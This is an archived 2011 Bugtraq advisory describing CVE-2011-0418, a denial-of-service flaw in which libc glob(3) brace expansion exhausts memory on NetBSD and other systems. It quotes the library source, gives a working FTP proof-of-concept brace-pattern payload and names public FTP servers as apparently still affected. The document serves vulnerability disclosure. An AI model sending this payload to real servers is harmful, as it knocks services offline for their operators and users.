[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Multiple Vendors libc/glob(3) GLOB_BRACE|GLOB_LIMIT memory exhaustion
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Multiple Vendors libc/glob(3) GLOB_BRACE|GLOB_LIMIT memory exhaustion
- From: cxib@xxxxxxxxxxxxxxxxxx
- Date: Sun, 1 May 2011 16:59:30 -0600
[ Multiple Vendors libc/glob(3) GLOB_BRACE|GLOB_LIMIT memory exhaustion ]
Author: Maksymilian Arciemowicz
http://netbsd.org/donations/
http://securityreason.com/
http://cxib.net/
Date:
- Dis.: 19.01.2011
- Pub.: 02.05.2011
CVE: CVE-2011-0418
Affected Software (verified):
- NetBSD 5.1
- and more
Original URL:
http://securityreason.com/achievement_securityalert/97
--- 0.Description ---
#include <glob.h>
int glob(const char *pattern, int flags,
int (*errfunc)(const char *epath, int eerrno), glob_t *pglob);
Description
This function expands a filename wildcard which is passed as pattern.
GLOB_LIMIT Limit the amount of memory used by matches to ARG_MAX. This option
should be set for programs that can be coerced to a denial of service attack
via patterns that expand to a very large number of matches, such as a long
string of */../*/..
--- 1. Multiple Vendors libc/glob(3) GLOB_BRACE|GLOB_LIMIT memory exhaustion ---
Analyzing history of GLOB_LIMIT, we should start since 2001, where it has been
added to protect ftp servers before memory exhaustion.
http://www.mail-archive.com/bugtraq@xxxxxxxxxxxxxxxxx/msg04960.html
Any 'pattern', should be limited and controlled by GLOB LIMIT. Algorithm used
in glob(3) is not optimal, and doesn't support functions like realpath() to
eliminate duplicates. It's not easy to predict the greatest possible
complexity. Anyway in 2010, netbsd has extended GLOB_LIMIT for a few new limits
like: stats, readdir and malloc
OpenBSD has localized some integer overflow. In glob(3) function, exists some
malloc() allowing allocate n<INT_MAX bytes into memory.
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gen/glob.c.diff?r1=1.34;r2=1.35;f=h
-globextend()/openbsd--
749: newn = 2 + pglob->gl_pathc + pglob->gl_offs;
750: if (pglob->gl_offs >= INT_MAX ||
751: pglob->gl_pathc >= INT_MAX ||
752: newn >= INT_MAX ||
753: SIZE_MAX / sizeof(*pathv) <= newn ||
754: SIZE_MAX / sizeof(*statv) <= newn) {
755: nospace:
756: for (i = pglob->gl_offs; i < (ssize_t)(newn - 2); i++) {
757: if (pglob->gl_pathv && pglob->gl_pathv[i])
758: free(pglob->gl_pathv[i]);
759: if ((pglob->gl_flags & GLOB_KEEPSTAT) != 0 &&
760: pglob->gl_pathv && pglob->gl_pathv[i])
761: free(pglob->gl_statv[i]);
762: }
763: if (pglob->gl_pathv) {
764: free(pglob->gl_pathv);
765: pglob->gl_pathv = NULL;
766: }
767: if (pglob->gl_statv) {
768: free(pglob->gl_statv);
769: pglob->gl_statv = NULL;
770: }
771: return(GLOB_NOSPACE);
772: }
-globextend()/openbsd--
however SIZE_MAX and INT_MAX doesn't protect us before memory exhaustion. The
real problem here is uncontrolled malloc(3) call. globextend() will be executed
a lot of times and we should reduce calls to glob0() and globexp1(). Therefore
has been created a new limit, limiting 'braces' used in 'pattern'.
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/glob.c.diff?r1=text&tr1=1.27&r2=text&tr2=1.29
If we don't reduce this call
-globextend()/netbsd--
static int
globextend(const Char *path, glob_t *pglob, size_t *limit)
{
char **pathv;
size_t i, newsize, len;
char *copy;
const Char *p;
_DIAGASSERT(path != NULL);
_DIAGASSERT(pglob != NULL);
newsize = sizeof(*pathv) * (2 + pglob->gl_pathc + pglob->gl_offs);
pathv = pglob->gl_pathv ? realloc(pglob->gl_pathv, newsize) :
malloc(newsize); <==== UNSECURE CALL
..
-globextend()/netbsd--
newsize = sizeof(*pathv) * (2 + pglob->gl_pathc + pglob->gl_offs);
malloc(3) try allocate (4*pglob->gl_pathc) bytes.
-PoC-
USER anonymous
PASS bla@xxxxxxx
STAT
{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}
-PoC-
in result we get
Jan 19 04:49:17 127 /netbsd: UVM: pid 615 (ftpd), uid 1003 killed: out of swap
Many servers are still vulnerable to the above vulnerability and CVE-2010-4754,
CVE-2010-4755, CVE-2010-4756, CVE-2010-2632. Servers like ftp.sun.com
ftp.sony.com seems still be affected.
--- 2. References ---
http://securityreason.com/achievement_securityalert/89
http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2010-008.txt.asc
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html
http://support.avaya.com/css/P8/documents/100127892
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2632
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4754
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4755
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4756
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0418
PoC:
change 'pattern' in
http://cxib.net/stuff/glob-0day.c
--- 3. Fix ---
Use CVS netbsd-5 netbsd-5-1 netbsd-5-0
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/glob.c
--- 4. Greets ---
Specials thanks for Christos Zoulas, spz
sp3x, Infospec
--- 5. Contact ---
Author: Maksymilian Arciemowicz
Email:
- cxib {a\./t] securityreason [d=t} com
GPG:
- http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
http://netbsd.org/donations/
http://securityreason.com/
http://cxib.net/